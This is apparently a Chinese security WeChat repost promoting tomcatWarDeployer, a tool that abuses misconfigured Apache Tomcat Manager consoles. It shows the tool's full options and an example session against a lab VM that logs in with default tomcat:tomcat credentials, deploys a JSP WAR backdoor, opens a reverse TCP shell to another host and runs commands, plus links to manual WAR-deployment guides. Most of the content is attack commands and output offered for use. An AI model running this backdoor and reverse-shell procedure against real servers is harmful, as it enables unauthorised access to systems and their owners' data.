每日分享好工具
工具介绍：
用法：
user$ python tomcatWarDeployer.py --helptomcatWarDeployer (v. 0.5)Apache Tomcat auto WAR deployment & launching toolMariusz B. / MGeeky '16Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.Usage: tomcatWarDeployer.py [options] serverserver Specifies server address. Please also include port after colon.Options:-h, --help show this help message and exitGeneral options:-v, --verbose Verbose mode.-s, --simulate Simulate breach only, do not perform any offensiveactions.-G OUTFILE, --generate=OUTFILEGenerate JSP backdoor only and put it into specifiedoutfile path then exit. Do not perform anyconnections, scannings, deployment and so on.-U USER, --user=USERTomcat Manager Web Application HTTP Auth username.Default="tomcat"-P PASS, --pass=PASSTomcat Manager Web Application HTTP Auth password.Default="tomcat"Connection options:-H RHOST, --host=RHOSTRemote host for reverse tcp payload connection. Whenspecified, RPORT must be specified too. Otherwise,bind tcp payload will be deployed listening on 0.0.0.0-p PORT, --port=PORTRemote port for the reverse tcp payload when used withRHOST or Local port if no RHOST specified thus actingas a Bind shell endpoint.-u URL, --url=URL Apache Tomcat management console URL. Default:/manager/-t TIMEOUT, --timeout=TIMEOUTSpeciifed timeout parameter for socket object andother timing holdups. Default: 10Payload options:-R APPNAME, --remove=APPNAMERemove deployed app with specified name. Can be usedfor post-assessment cleaning-X PASSWORD, --shellpass=PASSWORDSpecifies authentication password for uploaded shell,to prevent unauthenticated usage. Default: randomlygenerated. Specify "None" to leave the shellunauthenticated.-T TITLE, --title=TITLESpecifies head>title for uploaded JSP WAR payload.Default: "JSP Application"-n APPNAME, --name=APPNAMESpecifies JSP application name. Default: "jsp_app"-x, --unload Unload existing JSP Application with the same name.Default: no.-C, --noconnect Do not connect to the spawned shell immediately. Bydefault this program will connect to the spawnedshell, specifying this option let's you use otherhandlers like Metasploit, NetCat and so on.-f WARFILE, --file=WARFILECustom WAR file to deploy. By default the script willgenerate own WAR file on-the-fly.
在 192.168.56.100:8080 上运行的Kevgir 1 VM上的示例用法：
user$ python tomcatWarDeployer.py -v -x -p 4449 -H 192.168.56.102 192.168.56.100:8080tomcatWarDeployer (v. 0.3)Apache Tomcat 6/7 auto WAR deployment & launching toolMariusz B. / MGeeky '16Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.INFO: Reverse shell will connect to: 192.168.56.102:4449.DEBUG: Browsing to "http://192.168.56.100:8080/manager/"... Creds: tomcat:tomcatDEBUG: Apache Tomcat Manager Application reached & validated.DEBUG: Generating JSP WAR backdoor code...DEBUG: Preparing additional code for Reverse TCP shellDEBUG: Generating temporary structure for jsp_app WAR at: "/tmp/tmpDhzo9I"DEBUG: Working with Java at version: 1.8.0_60DEBUG: Generating web.xml with servlet-name: "JSP Application"DEBUG: Generating WAR file at: "/tmp/jsp_app.war"DEBUG: added manifestadding: files/(in = 0) (out= 0)(stored 0%)adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)adding: files/WEB-INF/web.xml(in = 547) (out= 253)(deflated 53%)adding: files/META-INF/(in = 0) (out= 0)(stored 0%)adding: files/META-INF/MANIFEST.MF(in = 68) (out= 67)(deflated 1%)adding: index.jsp(in = 4684) (out= 1595)(deflated 65%)DEBUG: WAR file structure:DEBUG: /tmp/tmpDhzo9I├── files│ ├── META-INF│ │ └── MANIFEST.MF│ └── WEB-INF│ └── web.xml└── index.jsp3 directories, 3 filesWARNING: Application with name: "jsp_app" is already deployed.DEBUG: Unloading existing one...DEBUG: Unloading application: "http://192.168.56.100:8080/jsp_app/"DEBUG: Succeeded.DEBUG: Deploying application: jsp_app from file: "/tmp/jsp_app.war"DEBUG: Removing temporary WAR directory: "/tmp/tmpDhzo9I"DEBUG: Succeeded, invoking it...DEBUG: Spawned shell handling thread. Awaiting for the event...DEBUG: Awaiting for reverse-shell handler to set-upDEBUG: Establishing listener for incoming reverse TCP shell at 192.168.56.102:4449DEBUG: Socket is binded to local port now, awaiting for clients...DEBUG: Invoking application at url: "http://192.168.56.100:8080/jsp_app/"DEBUG: Adding 'X-Pass: oHI9mPB0mOnZ' header for shell functionality authentication.DEBUG: Incoming client: 192.168.56.100:54251INFO: JSP Backdoor up & running on http://192.168.56.100:8080/jsp_app/INFO: Happy pwning. Here take that password for web shell: 'oHI9mPB0mOnZ'DEBUG: Connected with the shell: tomcat7@canyoupwnmejhtomcat7@canyoupwnme $ iduid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)tomcat7@canyoupwnme $ exit
以上是我的分析。
已测试：
-
Apache Tomcat/5.5.35
-
Apache Tomcat/6.?
-
Apache Tomcat/7.0.52
-
Apache Tomcat/7.0.56
-
Apache Tomcat/8.0.33
手动部署war包可参考案例：https://blog.csdn.net/weixin_42918771/article/details/104876025?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0.control&spm=1001.2101.3001.4242https://blog.csdn.net/weixin_43071873/article/details/109532160https://www.freebuf.com/column/186279.html
公众号后台发送“tomcat”即可获取安装包。希望对各位大佬有用，一起学习哈。
每日坚持分享好工具好资源，麻烦各位师傅文章底部给点个“再看”，感激不尽
欢迎关注 系统安全运维
觉得不错点个“赞”、“在看”哦
本文始发于微信公众号（系统安全运维）：Apache Tomcat 自动 WAR 部署和 渗透测试工具
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论